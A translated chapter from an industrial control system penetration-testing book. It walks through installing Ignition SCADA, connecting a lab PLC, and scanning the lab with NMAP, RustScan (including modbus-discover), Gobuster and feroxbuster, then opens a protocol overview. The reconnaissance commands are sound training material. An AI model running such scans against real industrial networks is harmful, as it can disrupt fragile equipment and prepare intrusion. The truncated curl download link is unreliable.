工控系统渗透测试(二)
原文:
annas-archive.org/md5/80b080100a57bf810954ab78196440b9译者:飞龙
第三部分 - 我是海盗,听我咆哮
我们将对扫描系统、信息收集、漏洞利用、获取访问权限、提升权限,最后通过我们的实验室基础设施进行切换,进行从头到尾的演练。这些战术、技术和流程需要不断练习和磨练,以保持在这个行业中的竞争优势。技术和策略在不断发展,这默认会导致威胁态势的变化,最终迫使我们不断提升技能。
以下章节将在本节中进行介绍:
-
第七章, 扫描基础 101
-
第八章, 协议进阶 202
-
第九章, 忍者 308
-
第十章, 我能做到 420
-
第十一章, 哇...我必须深入探讨
第七章:扫描基础知识
在上一章中,我们讨论了数据包的结构以及它们如何与 OSI 模型相关,使用 Wireshark 设置捕获过滤器,并通过显示过滤器分析我们从 Netresec 下载的工业控制系统(ICS)实验室数据包捕获(pcaps),通过这些技能来加深知识并提升我们的渗透测试能力。
在本章中,我们将安装 Ignition SCADA 并将我们的 Koyo Click PLC 实验室与之连接。接着,我们将查看用于枚举和扫描工业网络的多种工具,从使用 NMAP 和 RustScan 进行端口扫描,到使用人机界面(HMIs)、SCADA 操作员屏幕、PLC 控制屏幕和流量计算机网页门户进行 Web 应用程序扫描,使用工具包括 Gobuster 和 feroxbuster。我们将使用这些工具并在我们的 Ignition SCADA 实例上运行它们。
在本章中,我们将覆盖以下主要主题:
-
安装和配置 Ignition SCADA
-
NMAP 简介
-
使用 RustScan 进行端口扫描
-
Gobuster 简介
-
使用 feroxbuster 进行 Web 应用程序扫描
技术要求
对于本章,你将需要以下内容:
-
Ignition SCADA:你需要安装 Inductive Automation 的 Ignition SCADA 才能使用 Gobuster 和 feroxbuster。使用以下链接并在你的 SCADA 虚拟机主机上进行安装:
)
-
NMAP:nmap.org/。 -
RustScan:github.com/RustScan/RustScan。 -
Gobuster:github.com/OJ/gobuster。 -
feroxbuster:github.com/epi052/feroxbuster。 -
Redpoint Digital Bond 的 ICS 枚举工具:
github.com/digitalbond/Redpoint。
你可以在这里查看本章代码的实际应用:bit.ly/3veEeNm
安装和配置 Ignition SCADA
Ignition SCADA 是市场上最新的平台之一,真正采用了现代技术并提供模块化框架。许多行业和一些大公司已经采纳了它来管理他们的工业控制过程。通过在实验室使用现实世界的软件和硬件,我们可以更好地理解事物如何在进行评估之前相互协作:
-
使用之前提供的链接,
inductiveautomation.com/downloads/,我们将为我们的 Ubuntu SCADA 虚拟机下载软件包。你应该有一个名为
ignition-8.1.5-linux-x64-installer.run的软件包。 -
运行以下命令将启动安装程序:
./iginition-8.1.5-linux-x64-installer.run这将启动安装程序窗口,界面如下所示:
图 7.1 – Ignition 安装程序
-
通过默认的窗口选择下一步;我们将保持 Ignition 安装的默认位置(/usr/local/bin/ignition)。点击下一步,如下图所示:
图 7.2 – 安装位置
-
接下来,我们选择典型安装,然后点击下一步按钮,如下图所示:
图 7.3 – 典型安装
-
在选择完这些选项后,你将点击安装按钮。你会看到 Ignition 正在提取包并将软件安装到你的 SCADA 主机上。
-
点击完成,这将带你进入一个页面,你可以在其中选择三种主要版本—
Maker Edition、Ignition和Ignition Edge,如下图所示:图 7.4 – Ignition 版本
-
点击
Ignition,因为我们知道这是行业中主要使用的产品。这将带你进入条款和条件页面。选择同意,然后你将看到一个创建新用户的页面,如下所示:
图 7.5 – 创建用户
我为了简化安装过程,选择了将用户名设为
scada,密码也设为scada。 -
接下来,你将看到配置端口的选项提示。我将端口保持为默认设置,这是大多数行业安装的典型配置。你可以在以下截图中看到 HTTP、HTTPS 和网关网络端口的默认设置:
图 7.6 – 配置端口
-
接下来,你需要点击完成设置按钮,你将进入一个页面,显示安装已完成,并可以点击一个按钮来启动网关,如下图所示:
图 7.7 – 启动网关
-
继续点击启动网关按钮。可能需要一两分钟才能启动,因此可以坐下来放松一下,或者去喝杯咖啡。安装完成后,你将看到一个选项,允许你从头开始或启用快速启动。我选择了是,启用快速启动 ->,因为它能为我简化一些选项。看看下面的截图:
图 7.8 – 启用快速启动
-
一旦启用快速启动,你将被提示登录。用我们之前创建的用户名和密码登录吧:
图 7.9 – 登录
-
如您所见,您现在可以使用完整的 SCADA 产品,并且该产品将以试用模式运行。您可以在试用模式下运行并测试该产品;但是,每 2 小时必须重置试用期。从这里开始,我们将把 Koyo Click PLC 连接到 Ignition。点击屏幕左侧的状态按钮,这将带您到一个概览屏幕,显示架构、环境、系统以及许多其他选项,如下图所示:
图 7.10 – 状态
-
从这里,您需要查找并点击设备按钮,如下图所示:
图 7.11 – 设备
-
这将带您进入设备仪表板,显示连接设备的详细信息,如下图所示:
图 7.12 – 设备仪表板
-
从这里,我们将点击屏幕右上角的配置按钮。这将带我们到一个屏幕,在那里我们可以创建一个新设备。请点击**创建新设备…**按钮:
图 7.13 – 创建新设备…
会显示一个已包括设备的列表,但您可能会注意到,列表中没有专门的 Koyo Click。然而,我们知道我们的设备使用 Modbus TCP 协议并通过端口
502进行通信,因此向下滚动,直到找到以下选项并选择它:图 7.14 – Modbus TCP
这将为您提供一个配置常规和连接性参数的屏幕。
我设置了以下参数:
-
**名称
: **Koyo Click -
描述
:实验室 PLC Koyo Click -
**主机名
: **192.168.1.20 -
**端口
: **502 -
**通讯超时
: **2000
这是您应看到的屏幕,前面的信息已经填写:
图 7.15 – PLC 配置
有一点需要特别注意。Koyo Click 的地址范围从 0 开始,正因为如此,Ignition 提供了一个选项,可以在高级属性中进行设置,如下所示:
图 7.16 – 基于零的寻址
-
-
完成后,您应该会看到一条消息,显示 Koyo Click 已成功创建并添加到系统。如果一切正常,在状态栏下,您将看到已连接,如图所示:
图 7.17 – 连接的 PLC
-
接下来,我们将把我们的线圈映射到 Ignition 系统中,因此我们将点击连接状态旁边的更多下拉按钮。在此下拉菜单中,我们选择地址,如下一张截图所示:
图 7.18 – 地址
这将带我们进入地址配置屏幕,允许我们将地址映射到 Ignition 中。我们将使用以下数据来配置我们的地址:
-
前缀:
Lights -
Start:1 -
End:4 -
单元 ID:
0 -
Modbus 类型:线圈
-
Modbus 地址:
000000
请注意,
Start编号是1,这是因为我们选择了基于零的寻址选项。End编号是4,因为我们有四盏灯连接到我们的线圈。Modbus 地址的起始地址是000000,这与 Koyo Click 的特点有关。你可以在以下截图中看到输入是如何配置的:图 7.19 – 地址配置
-
-
一旦我们为地址配置点击保存,我们将把新创建的 Modbus 地址映射到我们的开放平台通信(OPC)服务器。点击屏幕左侧的
Config按钮,该按钮位于之前选择的Status按钮下方。向下滚动,直到找到OPC CLIENT,然后选择OPC 快速客户端,如下面的截图所示:图 7.20 – OPC 快速客户端
-
这将弹出一个屏幕,在该屏幕上你可以验证你的标签是否已经从 Koyo Click PLC 的 Modbus 映射到 Ignition 的内部,并且你应该能看到所有四个灯光在
ACTION列下被映射,并带有三个字母[s][r][w]:-
[s]表示订阅。 -
[r]表示读取。 -
[w]表示写入。
点击这些
Action链接可以让你直接与 PLC 进行交互。以下是你应该看到的屏幕: -
图 7.21 – OPC 标签映射
最后,你将打开设计器并创建一个图形,将四个灯光按钮与其链接。不过,我觉得这部分超出了我们的讨论范围,并且对于接下来要讨论的内容并不关键。所以,我将留给你去探索如何设计 SCADA 图形。
在本节中,我们详细介绍了 Ignition SCADA 的安装过程。我们将 PLC 链接到系统并验证其工作情况。稍后我们将在本章中使用这个 SCADA 系统进行 Web 应用枚举。在下一节中,我们将使用 NMAP 扫描开放端口。我们正在按照渗透测试中通常执行的逻辑步骤进行,并使用专业工具进行实战演练。
NMAP 介绍
来自自动化控制领域,我在职业生涯早期就使用 NMAP 来排查开始采用基于 TCP 的协议的新技术。寻找具有开放端口且没有任何文档的硬件在 00 年代中期是很常见的事。随着接下来的二十年,我跟踪了这个项目,并见证了它发展成今天这个基础性工具。它不仅用于寻找开放端口,还可以用于执行操作系统指纹识别、应用识别等许多功能。
在本节中,我们将安装并运行 NMAP,对我们的实验室环境进行扫描。我们将识别开放的端口及其上运行的服务。在实际工作中,扫描网络以寻找资产和开放端口是进入工业网络并在客户网络中获取立足点和枢纽点的基础。正如上一章节所提到,Wireshark 是渗透测试人员的第一工具,我会说 NMAP 是第二工具。借助这两个工具,我可以进行评估、开展渗透测试、参与夺旗赛(CTF)、排除网络故障、对 SCADA 系统进行通信分析等。
每个主要的系统都可以利用某种包管理器来获取 NMAP 的安装包。
对于 Linux,以下是内容:
apt install nmap
对于 macOS,以下是内容:
brew install nmap
对于 Windows,以下是内容:
)
Zenmap 提供了一个可视化工具,可以用于分析和绘制网络和资产。
现在我们已经在系统上安装了 NMAP,我们想对实验室网络进行扫描。为了提醒您回顾一下第一章,使用虚拟化,以下是网络布局:
从以下截图开始,首先向 Kali Linux 添加第二个接口,并将其置于操作与控制网络区域:
图 7.22 – 第二个接口
现在,您将在企业区域中拥有一个接口,这是实验室的第 5 级,现在您应该可以看到您新添加的操作区域,这是第 3 级。
现在,在您的 Kali Linux 虚拟机上,将新添加的第二个接口设置为与 Windows 7 Professional 在同一子网中的 IP 地址。我选择将我的 IP 地址设置为192.168.3.200。接下来,我们将对子网进行一个非常基础的扫描。
免责声明
扫描或枚举阶段是我们开始生成可以在网络上追踪到的信息的起点。这被认为是一种主动的方法,可能带来一些后果,如被检测到,或者更糟糕的是,扫描旧设备的端口,导致设备挂起或停止工作。这是来自现实世界经验的警示故事。
在免责声明处理完毕后,我们开始进入正题。即使我们知道自己的实验室以及其中的设备,我们仍然会从扫描整个子网开始,作为 NMAP 的介绍。
运行以下命令,它会进行快速扫描,覆盖整个子网,因此为/24:
nmap 192.168.3.0/24
你应该会看到以下结果,扫描报告显示了你的 Kali 主机,但没有其他信息。你们中的一些人可能会好奇为什么 Windows 机器没有出现在扫描结果中:
图 7.23 – 子网扫描
答案是 Windows 正在阻止/丢弃我们的 ping 探测,NMAP 会跳到提供的下一个 IP 地址。你可以通过在命令末尾加上-Pn(不使用 ping)选项来执行先前的命令,格式如下:
nmap 192.168.3.0/24 -Pn
现在我们要聚焦于我们在第一章中安装的 Windows 机器,使用虚拟化。运行以下专门针对 Windows 机器的命令:
nmap 192.168.3.10 -Pn
你应该会看到以下结果;然而,这些结果可能会根据你在虚拟机中启用或禁用的服务有所不同:
图 7.24 – Windows 扫描
使用 NMAP 时,有许多选项,如果你运行man NMAP命令,可以阅读源文档,深入了解 NMAP 提供的所有可能性和选项。我们将仅仅运行一个非常激进的扫描,以展示在 Windows 主机上可以发现的详细信息。如果你阅读了手册信息,你会注意到文档中提醒不要在未授权的目标上使用-A(激进扫描选项)。由于我们拥有这台主机并且它位于我们的实验室中,我们可以继续运行它:
nmap -A 192.168.3.10 -Pn
你会注意到相同的端口扫描结果被返回,但这次,使用激进模式,脚本将对主机执行,以识别更多详细信息,如下所示:
图 7.25 – 激进扫描
从截图中,我们发现了以下资产信息:
-
操作系统:
Windows 7 Professional N 7601 Service Pack 1 -
计算机名称:
WIN-VA8PE66T785 -
工作组:
Workgroup -
SMB 用户:
guest -
SMB 版本:
2.0
这在你的评估过程中非常有用,因为你可以开始探查网络中发现的主机,确定哪些端口是开放的,并了解在这些开放端口上运行了哪些服务。
激进模式产生的额外信息是通过对发现的主机运行脚本得到的。这些NMAP 脚本引擎(NSE)脚本可以在 Kali Linux 发行版中找到,路径为/usr/share/nmap/** **scripts,并且可以通过运行以下命令查看列表:
ls /usr/share/nmap/scripts
在scripts文件夹下,你可以找到特定于 ICS 的脚本,如下所示:
-
bacnet-info -
enip-info -
modbus-discover -
s7-info
这只是安装 NMAP 时包含的一些默认脚本的列表。如果你访问github.com/digitalbond/Redpoint,你将找到可以包含在 NMAP 中的脚本列表,以便更深入地枚举你在职业生涯中遇到的各种 ICS 硬件。
在本节中,我们快速讨论了 NMAP 是什么以及它的功能。我们在系统上安装了 NMAP,并开始扫描我们的实验室。我们对 Windows 主机进行了一个积极的扫描,然后讨论了 NSE。最后,我们查看了可以运行的 ICS 特定脚本。关于 NMAP 和 NMAP 脚本有很多专门的书籍和课程;本节是为了简单介绍 NMAP 的重要性,并展示如何在工业网络中使用它。
在下一节中,我们将介绍 RustScan,它被称为现代端口扫描器。我们将把 RustScan 安装在我们的 Kali Linux 发行版上,并在实验室环境中运行它。
使用 RustScan 进行端口扫描
NMAP 一直是我首选的端口扫描工具,直到最近,我发现了 RustScan。RustScan 的一个主要优点是它扫描所有 65K 端口的速度极快;它可以在 3 秒内完成这项工作。与 NMAP 相比,简直是天壤之别。我曾经设置 NMAP,然后去吃午饭,回来时它还在运行。它支持完整的脚本编程,可以通过 Python、Lua、Bash,甚至将 RustScan 的结果传递给 NMAP。
当时间紧迫时,RustScan 是首选。然而,我仍然会回到 NMAP 来处理某些特定任务,但那更多是出于熟悉度,正如之前所说,练习,练习,再练习。在本节中,我们将安装 RustScan,并在实验室中的机器上运行它。我们将观察扫描运行速度的差异,并熟悉其语法,以便将这个工具添加到我们的渗透测试工具库中。
安装 RustScan
官方文档可以通过以下链接找到:
github.com/RustScan/RustScan#-full-installation-guide
我将专注于仅在我们的实验室虚拟机上安装 RustScan;然而,欢迎你阅读相关材料,并在你喜欢的任何系统上安装它。
在我的 Kali 虚拟机上打开 Firefox ESR,我将导航到以下链接:
github.com/RustScan/RustScan/releases
你将看到以下屏幕,包含.deb软件包和源代码包:
图 7.26 – RustScan 软件包
我将点击 rustscan_2.0.1_amd64.deb 软件包并将其下载到我的计算机上。然后我打开终端窗口并导航到我的 ~/Downloads 文件夹来验证该软件包。验证软件包后,我将执行以下命令来安装该软件包:
sudo dpkg -i rustscan_2.0.1_amd64.deb
现在,如果一切正常,你应该会看到以下结果:
图 7.27 – RustScan 安装
现在我们已经安装了 RustScan,接下来将运行一个快速的帮助命令,来获取我们可以使用的命令的概览:
rustscan -h
你将看到以下结果:
图 7.28 – RustScan – 帮助
警告
在继续之前,需要了解的是,快速扫描的代价是噪声。RustScan 能够在 3 秒钟内检测到 65K 个端口,这意味着它在网络上非常嘈杂,你将被检测到。此外,对敏感设备进行此类扫描几乎肯定会导致它们崩溃,因为这些设备从未设计用来在如此高的速率下处理成千上万的请求。这将对操作造成影响并造成生产损失;在将此工具用于实时生产网络之前,请阅读有关减小批处理大小和增加超时的相关内容。
解决这个问题后,再次尝试扫描你的 Windows 主机并观察速度。使用以下命令:
rustscan -a 192.168.3.10
你将看到以下结果:
图 7.29 – RustScan -a Windows 主机
由于 RustScan 的可扩展性,我们可以通过传递参数来运行 NMAP 命令。我们可以对 SCADA 192.168.2.10 主机进行激进扫描。使用 rustscan 命令并将批处理大小 -b 设置为 10,地址 -a 设置为 192.168.2.10,我们将传入 NMAP -A 激进扫描命令:
rustscan -b 10 -a 192.168.2.10 -- -A
运行此命令后,如果你按照第一章《使用虚拟化》的步骤操作,你应该已经打开了以下端口:
-
21 -
22 -
23
这在下面的截图中展示:
图 7.30 – RustScan – NMAP -A 扫描
下一个截图已被裁剪并缩短,以便于阅读。NMAP -A 激进扫描的输出显示了开放的端口以及可能在这些端口上运行的服务,如下所示:
图 7.31 – 端口服务运行情况
从中我们可以看到以下服务及其在开放端口上运行的版本:
-
21/tcp open ftp vsftpd 3.0.3 -
22/tcp open ssh OpenSSH 8.2p1 -
23/tcp open telnet telnetd
我们还发现该主机正在运行 Ubuntu Linux,这不足为奇,因为我们已经安装并配置了这些服务。
RustScan 不仅可以运行 NMAP 选项,还可以从命令行运行脚本,或者我们可以创建自己的自定义脚本并运行它们以收集更多信息。在这个例子中,我将运行 NMAP modbus-discover 脚本,对实验室中的 PLC 进行扫描。在我的例子中,它是 Koyo CLICK PLC,但同样,这也可以是任何你想在实验室中设置的 PLC。
我们将批处理大小 -b 设置为 10,然后将地址 -a 设置为 192.168.1.20,设置 — 内联命令,传递 NMAP —script 脚本命令,并将脚本设置为 modbus-discover:
rustscan -b 10 -a 192.168.1.20 -- --script 'modbus-discover'
命令的输出应如下所示:
图 7.32 – modbus-discover 脚本
我将其分成了两张图像,并省略了一些响应项,以便从运行 modbus-discover 脚本中获取有趣的输出,如下图所示:
图 7.33 – modbus-discover SID
在本节中,我们介绍了 RustScan 的安装,运行一个简单的扫描,通过传入 NMAP 选项运行扩展扫描,最后我们运行了一个扫描并传入了来自 NMAP 集合的默认 modbus-discover 脚本。我们确保减少批处理大小,因为使用这个工具时需要小心,特别是考虑到它的扫描速度。我已经将 RustScan 纳入了我的工具集,因为它具有较快的扫描速度;我可以设置我想关注的端口范围,并减少等待结果的时间。我主要在 5–3 级别使用它,因为我知道关键控制硬件很少出现在这些级别。一旦进入更低的网络层,我就会回归使用 NMAP,进行低速扫描,并非常小心不影响任何可能正在运行的进程。
在下一节中,我们将介绍 Gobuster。我们将安装这个目录扫描工具,并将其用于我们安装的基于 Web 的 SCADA 应用程序。
Gobuster 介绍
Gobuster 是一个用 Go 编写的 Web 枚举和目录暴力破解工具。在发现 Gobuster 之前,我使用过 Nikto、Cadaver、Skipfish、WPScan、OWASP ZAP 和 DirBuster 等工具。这些工具每个都有其优缺点,但最终它们的工作原理差不多,结果也有所不同。然而,我在寻找一个可以从命令行运行的工具,而且不需要运行厚客户端。
就在这时,我偶然发现了 Gobuster。它是我一直在寻找的命令行驱动的 web 枚举工具。我可以快速在目录暴力破解和虚拟主机枚举之间切换。我可以随时更换单词列表,设置命令行参数来执行文件检测,最后,调整线程数。这些功能就是为什么我在渗透测试过程中一直使用 Gobuster。在这一节中,我们将安装 Gobuster,并对我们在本章开始时进行的 Ignition 安装进行测试。
安装 Gobuster
每个主要的操作系统,只要它们使用某种包管理器,都有现成的 Gobuster 包。
对于 Linux,我们有以下命令:
apt install gobuster
对于 macOS,我们有以下命令:
brew install gobuster
对于 Windows,我们有以下命令:
go install github.com/OJ/gobuster/v3@latest
我在实验室的 Kali 虚拟机上安装了 Gobuster,使用的是apt install gobuster。安装完成后,你可以运行gobuster –help命令:
gobuster --help
这将提供以下响应:
图 7.34 – Gobuster 帮助
在这里,你可以看到可用命令的列表,特别是以下几个命令:
-
dir -
dns -
vhost
dir 命令用于通过暴力破解 URL 和单词列表来查找目录/文件。dns 用于专门查看子域,vhost 用于暴力破解并发现远程主机上运行的虚拟主机。
单词列表
本节的下一个重要话题是单词列表。我常说,你的能力与单词列表的好坏成正比。这意味着,如果你不开始构建自己的核心单词列表,你将错过工业网络中使用的重要设备和软件。作为对你职业生涯的建议,每当你遇到一个托管 web 接口的设备时,记下你发现的路径/目录/API 路由,并将它们添加到自定义单词列表中。作为一个启动建议,我将让你通过回显以下路径来创建自己的单词列表:
cp /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt ~/Downloads/scada.txt
现在我们将选择这两个特定路径,并将它们回显到我们新创建的单词列表中:
-
status/ -
config/
命令将如下发出:
echo "status/\n/config/" >> scada.txt
大多数单词列表是为 IT 目的开发的,这对于初步入门来说非常好,但作为一款工业软件工具,你确实需要亲自处理一些事情。我推荐安装 SecLists,作为一个基础的单词列表集合,它是 Daniel Miessler 创建的强大集合。然后我们可以使用其中一个单词列表,并开始根据我们自己的需求进行增强。可以通过运行以下命令来安装:
sudo apt install seclists
这将把单词列表安装到以下路径:
/usr/share/seclists/
现在我们已经安装了字典包,让我们通过运行以下命令来运行 Gobuster 进行 Ignition 扫描。我们要使用dir命令,因为我们想查找目录,然后使用-u参数来指定要枚举的远程 web 服务器的 URL,最后,使用-w参数来指定选择的字典:
gobuster dir -u http://192.168.2.10:8088 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
运行此命令后,我们会发现发现了三个目录:
-
/main -
/web -
/Start
以下是输出的截图:
图 7.35 – Gobuster 枚举
现在我们要查看/web路径后面是否有任何目录。我们将使用在/usr/share/wordlist/dirbuster中找到的另一个字典:
/usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt
运行以下命令:
gobuster dir -u http://192.168.2.10:8088/web -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt
我们现在找到了三个新目录:
-
/home -
/waiting -
/touch
这意味着在/web路径下,找到了三个新项目:/home、/waiting和/touch。输出内容如下截图所示:
图 7.36 – /web 枚举
现在,http://192.168.2.10:8088/web/home 的第一个路径看起来很正常,如果你访问这个链接,你会发现它确实带我们进入了主页仪表盘。接下来找到的目录是/waiting,访问该 URL 路径会触发仪表盘的刷新加载,这本身是非常值得注意的行为,因为这意味着有某个 API 路径触发了一个子程序来刷新仪表盘。最后,访问/touch目录带我们到了一个非常有趣的地方,因为它返回了一组简单的括号。这个信息可以记录下来并进一步探索;不过,我希望你重新运行扫描,但这次使用之前创建的scada.txt字典。你应该会发现更多的路径和目录。
文件检测
接下来我想简要介绍一下-x参数。这个参数允许 Gobuster 执行暴力破解查找目录,同时也能查找具有特定扩展名的文件。一个例子命令如下:
gobuster dir -u http://192.168.2.10:8088/web -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt -x txt,php,conf,xml,json
在这一部分中,我们讨论了安装 Gobuster、安装 SecLists 字典、创建我们自己的基础 ICS 字典、使用不同字典枚举 Ignition SCADA 并对 Ignition 进行文件检测。现在,读到这里的一些人可能会觉得这些是老生常谈,但对于其他人来说,这可能是第一次进行目录暴力破解。相信我,经过许多工具和多次迭代才达到今天的成果。你们现在生活在一个工具驱动的世界,手动操作的时代正在慢慢消退……伤心脸。
在下一部分,我们将使用我最近发现的一个新工具。我们将安装它,并使用它进行类似的测试。
使用 feroxbuster 进行 Web 应用扫描
如你从上一部分中看到的,我是 Gobuster 的忠实粉丝;然而,在阅读了 Robert Scocca 所写的文章《升级你的黑客工具》后,我开始倾向于使用 feroxbuster(John Hammond 在robertscocca.medium.com/upgrade-your-common-hacking-tools-45ba700d42bb上转发了这篇文章)。我要特别提到 John,他是渗透测试领域的一个重要影响者,他为tryhackme.com贡献了大量知识。如果你加入该平台,一定能看到他对多个房间和下一个节日挑战的影响。John 恰好转发了 Robert Scocca 的博客,而像这个社区的大多数忠实成员一样,我对文章中建议的工具充满了好奇,决定尝试升级。
关注的重点是netcat、nmap、gobuster和 Python 服务器。我对nmap和gobuster话题很感兴趣。所以,我迅速翻过了pwncat(它是netcat的替代品)——没恶意,Robert;)。忽然间,我遇到了 RustScan,它是 NMAP 的替代品...这一发现让我非常高兴,因为我知道我正在写这本书,其中有一个主题是 RustScan。然后,我快速翻过了 RustScan,继续看他讨论 Gobuster 升级的部分。Gobuster,我的最爱...我进行工业级 Web 界面渗透测试的“秘密武器”。在这部分内容中,有一句话写得非常精彩:Netcat 之于 Pwncat,如同 Gobuster 之于 Feroxbuster...我心里想,挑战接受。于是,我开始安装 feroxbuster...
现在,我使用的是一个较旧的发行版,需要通过curl将一个软件包下载到本地机器,正如你在以下命令中看到的:
curl -sLO githb.com/epi052/fero…
unzip feroxbuster_amd64.deb.zip
sudo apt install ./feroxbuster_*_amd64.deb
如果你有更新的发行版,你只需要运行以下命令:
sudo apt install feroxbuster
安装完成后,我们可以运行帮助命令查看运行命令的语法:
feroxbuster -h
这将为我们提供一个很好的例子解析,具体如下:
图 7.37 – feroxbuster
现在我们已经有了一些示例,让我们再一次扫描我们的 Ignition SCADA 系统,不过这次使用我们新创建的scada.txt单词列表。
执行以下命令:
feroxbuster -u http://192.168.2.10:8088 -w ~/Downloads/scada.txt
通过可视化输出,你可以看到 Gobuster 和 feroxbuster 之间的差异。不用说,我非常印象深刻。以下是 feroxbuster 枚举过程的屏幕截图:
图 7.38 – Ferox Ignition SCADA 扫描
现在,你可能已经注意到,我们将两个路径/目录回显到我们的scada.txt单词列表中,并且它们出现在了我们的扫描结果中。随着你在工业领域不断增长的知识和技能,这应该变得像第二天性一样。将特定于工业的路径添加到你的单词列表中,将使你能够为强制浏览创建一个更集中的单词列表。如果你深入阅读过关于 feroxbuster 的相关资料,你应该能了解其命名的理由。Ferric Oxide(铁氧化物)实际上是对 Rust(生锈语言)的一种聪明的戏谑,因为 feroxbuster 是用 Rust 编写的。因此,RustScan 和 feroxbuster 都是基于 Rust 的工具。可以肯定地说,今后我将使用 feroxbuster 来寻找隐藏的资源。我们在使用 Gobuster 时探索的相同特性和功能,也可以在 feroxbuster 中使用。一个主要的例子是查找目录路径中的文件,例如以下命令:
feroxbuster -u http://192.168.2.10:8088 -w ~/Downloads/scada.txt -x php txt json conf
提升你的技能的最佳方法是通过测试更多特性,进一步探索 feroxbuster,并将其应用于 Ignition SCADA。
在本节中,我们安装了 feroxbuster 并对 Ignition SCADA 进行了目录暴力破解,这是我们在本章开头安装的。我们利用新创建的scada.txt单词列表,快速比较了 Gobuster 和 feroxbuster。
总结
当我刚进入这个行业时,运行这些枚举会揭示出大量的漏洞,但随着行业安全态势的成熟,更多的安全人员进入这个领域,找到所谓的“低垂的果实”变得越来越难。超越工具、补丁、监控和安全人员是一个持续的挑战,但只要坚持不懈并持续培训,这是可能的。这也是为什么我们在本章中既探讨了传统工具,如 NMAP 和 Gobuster,也分析了如 RustScan 和 feroxbuster 这样的新工具。学习如何使用这些工具进行端口扫描和 Web 应用程序枚举,将帮助你在未来顺利完成任务。
在下一章,我们将深入研究驱动工业设备的协议,以及如何利用这些协议控制工业网络中的系统。
第八章:协议 202
我们已经走过了本书的一半,涵盖了大量内容。我们安装了一个 ESXi 服务器和多个虚拟机,并设置了我们的 PLC 与虚拟机进行通信。我们还安装了一个灯塔,并将 I/O 接入到 PLC。我们安装了 Ignition SCADA,并将其连接到实验室中的 PLC,使用各种工具扫描我们的安装,检测开发人员可能在基于 Web 的 SCADA 系统上留下的开放端口和路径。
在本章中,我们将探讨一些工业控制系统(ICS)中使用的主要协议。我们将利用在第一章 使用虚拟化中创建的虚拟机(VM)来生成特定协议的流量,接着我们将使用 Wireshark 和 TShark 来进一步分析协议,就像我们在第六章 数据包深度分析中所做的那样。当你阅读本书时,你应该会感觉到每一章都在前一章的基础上构建,帮助强化你所学的技能,然后我们会添加一个新技能或知识点,并在后面进行扩展。
在本章中,我们将涵盖以下主要内容:
-
行业协议
-
Modbus 速成课程
-
使用 Ethernet/IP 打开灯光
技术要求
对于本章,你将需要以下内容:
-
一个正在运行并安装了
pymodbus包的 PLC 虚拟机 -
一个正在运行并安装了
cpppo包的 PLC 虚拟机 -
一个正在运行并安装了
mbtget工具的 SCADA 虚拟机 -
一个正在运行并安装了
cpppo包的 SCADA 虚拟机
你可以在此查看本章代码的实际操作:bit.ly/3BCyMWV
行业协议
经过深思熟虑和外部建议后,我新增了这一初步部分,讨论行业协议。我特别关注 Modbus 和 Ethernet/IP,因为我们的 Koyo CLICK PLC 能够利用这两种协议。然而,我觉得如果不至少触及工业协议领域的广度和深度,那几乎是一种不公。每个行业和我接触过的地区,似乎都会倾向于选择一个特定的供应商。在一些大陆,我看到的设备、供应商和协议是该地区特有的。话虽如此,我将快速概述一些你可能会遇到的主要行业协议:
-
Modbus:这是最古老且被广泛采用的协议之一,大多数控制应用程序首先在Modbus中设计,然后移植到其他协议,并并行测试以确保过程控制策略按预期功能运行。Modicon 发布了 Modbus 标准,施耐德电气通过一系列并购收购了 Modicon。这意味着,当你在网络上发现一台施耐德电气设备时,它很有可能使用 Modbus 进行通信。常用端口是
502、5020和7701。 -
Ethernet/IP:这是一种在全球范围内广泛应用的协议,通常出现在 Rockwell 设备中,但也被众多控制自动化供应商采用。它最初由Control International(CI)工作组设计,旨在提供控制消息对象,同时利用 TCP/IP 协议栈的强大功能。Ethernet/IP是Common Industrial Protocol(CIP)的传输系统,我们将在本章稍后部分详细讨论该协议。常用端口是
44818和2222。 -
DNP3:这是一个由 SCADA 系统使用的协议,用于连接电力和水务行业中使用的过程设备。它是一个开放标准,已获得国际认可;然而,你会发现它最常用于北美市场。常用端口是
20000。 -
S7 /S7+:Step 7 是由西门子设计的一种封闭协议(但基于 ISO 8073 Class 0),旨在唯一地连接西门子设备。主要应用于欧洲,西门子产品几乎遍布每个国家和每个过程行业。它曾是控制自动化行业的领导者,并在全球范围内占据主导地位,北美和日本除外。它最著名的是作为在 Stuxnet 攻击中使用的设备和协议,该攻击涉及伊朗的核项目。S7+的推出是为了提供更多的安全性和丰富的功能,以应对重放攻击的安全风险。常用端口是
102和1099。 -
Melsec:这是三菱电机开发的一种协议,由于在日本各行各业广泛应用,因此进入了此列表。常用端口是
1025、1026和1027。
重要协议如下:
-
布里斯托尔的布里斯托尔标准异步协议(BSAP),广泛用于石油和天然气行业。
-
通用电气服务请求传输协议(SRTP),几乎所有通用电气设备都在使用该协议。
-
建筑自动化和控制网络(BACnet),广泛用于建筑管理行业控制供暖、通风和空调。值得注意的是,2013 年 Target 的网络泄露就是通过一家 HVAC 公司发生的,该公司具有远程访问权限来监控环境传感器。
-
控制区域网络(CANBus),由博世在 80 年代开发,现在已成为运输、汽车、船只、飞机、农用设备等领域的事实标准。这是一个非常有趣的协议,因为它是自动驾驶汽车的骨干。
随着物联网(IOT)和工业物联网(IIOT)在工业界的引入,您将遇到如消息队列遥测传输协议(MQTT)、ZigBee、高级消息队列协议(AMQP)等协议。在下一节中,我们将深入探讨 Modbus 协议。
Modbus 速成课程
Modbus 是一个串行协议,发布于 1970 年代,作为连接工业过程中的设备的共同总线的手段。自 Modbus 发布以来,协议和变体经历了许多演变。这主要归功于该协议标准的开放性和灵活性。由于此协议是连接工业设备最广泛使用的协议,您可以想象,已经有许多书籍和论文讨论了这一主题。我们将专门关注 Modbus TCP 及其可用的各种命令和功能。我强烈建议您阅读有关 Modbus 历史和演变的资料,因为这将帮助您深入了解工业如何将此协议调整以适应其过程和特定的操作需求。点击此链接,了解 Modbus 的简短历史:www.youtube.com/watch?v=OuM28tp5wXc。
